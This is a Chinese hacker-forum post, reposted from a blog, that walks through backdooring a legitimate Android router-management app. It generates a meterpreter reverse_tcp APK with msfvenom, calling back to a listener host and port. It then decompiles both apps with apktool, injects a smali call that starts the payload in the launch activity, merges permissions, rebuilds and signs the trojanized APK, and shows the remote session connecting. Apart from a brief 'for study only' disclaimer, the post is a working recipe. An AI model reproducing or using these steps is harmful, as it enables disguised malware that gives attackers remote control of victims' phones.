跳转到帖子

游客您好,欢迎来到黑客世界论坛!您可以在这里进行注册。

赤队小组-代号1949(原CHT攻防小组)在这个瞬息万变的网络时代,我们保持初心,创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识,您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告,请注册用户查看我们的使用与隐私策略,谢谢您的配合。小组成员可以获取论坛隐藏内容!

TheHackerWorld官方

手动给APP添加backdoor(msf)

精选回复

发布于
本示例仅为学习研究所用,使用请准守《网络安全法》。造成一切后果,自行承担。本站不但任何责任!!!

2444493628.jpg

前期的准备

  • 某路由器管理APP(luyou.apk)
  • kali Linux
  • 手机(android 10)

    01 生成Android shell

    在生成之前,确定本机的ip地址。

    msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.0.93 LPORT=5555 R > 66.apk

    这样我们便生成了一个名为66.apk的android shell
    3e93501b04b73a1c0433350f8984c63c

    02 反编译刚才生成的shell和正常app

    apktool d 66.apk
    apktool d luyou.apk

    3e93501b04b73a1c0433350f8984c63c
    反编译后的效果
    a54abe9961a76c858a2e9de23a8e9cba

    03 注入PAYLOAD

    -1 进入luyou文件夹,打开AndroidManifest.xml文件
    -2 搜索关键字LaunchMain找到所对应启动的smail文件,说白了就是找app启动文件路径
    755632700.png
    当前的启动路径为:com/mercury/mercuryrouterLaunchActivity
    打开文件LaunchActivity.smali搜索onCreat函数,找到bundle对象,换行添加启动PAYLOAD代码:

    invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V

    1636804307.png

    04 将木马文件中的smali文件复制到载体smali文件夹中

    cp -r 66/smali/com/* luyou/smali/com/

    05添加权限

    打开木马AndroidManifest.xml文件
    复制以<uses-permission android:name=.......>
    开头的所有代码按照格式复制到载体luyou的AndroidManifest.xml文件中,删除重复权限就ok
    3969669934.png

    06回遍

    apktool b luyou

    a54abe9961a76c858a2e9de23a8e9cba

    07签名

    这样我们的app添加就算完成了,但是在手机是无法运行的。因为没有签名。
    生成KEYSTORE:

    keytool -genkey -v -keystore mykey.keystore -alias alias_name -keyalg RSA -keysize 1024 -validity 22222

    签名:

    jarsigner -keystore mykey.keystore luyou.apk alias_name -s

    08 测试

    安装app
    3846919739.jpg
    msf终端成功上线
    2045864825.png


版权属于:逍遥子大表哥

本文链接:https://blog.bbskali.cn/1805.html

按照知识共享署名-非商业性使用 4.0 国际协议进行许可,转载引用文章应遵循相同协议。

创建帐户或登录后发表意见

最近浏览 0

  • 没有会员查看此页面。